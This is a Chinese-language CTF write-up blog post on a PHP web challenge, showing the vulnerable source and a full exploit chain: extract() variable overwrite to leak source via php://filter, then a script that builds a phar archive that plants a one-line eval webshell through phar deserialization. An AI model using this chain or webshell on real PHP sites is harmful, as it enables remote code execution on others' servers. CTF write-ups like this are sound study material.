M0deration's blog.

dasctf&bjd

字数统计: 568阅读时长: 3 min
2020/12/26 Share

web

easyphp

这题刚开始学弟发现可以直接读uploads然后看到有个php文件直接上车成功

正式解一波

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php 
error_reporting(E_ALL);
$sandbox = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']);
if(!is_dir($sandbox)) {
mkdir($sandbox);
}
include_once('template.php');
$template = array('tp1'=>'tp1.tpl','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');
if(isset($_GET['var']) && is_array($_GET['var'])) {
extract($_GET['var'], EXTR_OVERWRITE);
} else {
highlight_file(__file__);
die();
}
if(isset($_GET['tp'])) {
$tp = $_GET['tp'];
if (array_key_exists($tp, $template) === FALSE) {
echo "No! You only have 3 template to reader";
die();
}
$content = file_get_contents($template[$tp]);
$temp = new Template($content);
} else {
echo "Please choice one template to reader";
}
?>

这里可以利用extract变量覆盖然后伪协议读一下template的源码

1
http://8.129.41.25:10305/?var[template][1]=php://filter/convert.base64-encode/resource=template.php&tp=1

template.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
class Template{
public $content;
public $pattern;
public $suffix;

public function __construct($content){
$this->content = $content;
$this->pattern = "/{{([a-z]+)}}/";
$this->suffix = ".html";
}

public function __destruct() {
$this->render();
}
public function render() {
while (True) {
if(preg_match($this->pattern, $this->content, $matches)!==1)
break;
global ${$matches[1]};

if(isset(${$matches[1]})) {
$this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
}
else{
break;
}
}
if(strlen($this->suffix)>5) {
echo "error suffix";
die();
}
$filename = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix;
file_put_contents($filename, $this->content);
echo "Your html file is in " . $filename;
}
}

?>

这里可以控制content但是后缀名是.html有点难受

可以使用伪协议想到使用phar反序列化,先使用吧phar写进html中,然后phar包含一下我们的phar文件

生成phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Template
{
public $content;
public $pattern;
public $suffix;
public function __construct($content)
{
$this->content = $content;
$this->pattern = "/{{([a-z]+)}}/";
$this->suffix = ".php";
}
}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new Template("<?php @eval(\$_POST[cmd]); ?>");
$phar->setMetadata($o);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();

生成phar.phar文件postman上传

2

然后phar协议读一下

1

这样就生成了一句话,蚁剑直接读flag

3

easyjs

网鼎杯半决赛原题

https://www.anquanke.com/post/id/224207#h3-3

CATALOG
  1. 1. web
    1. 1.1. easyphp
    2. 1.2. easyjs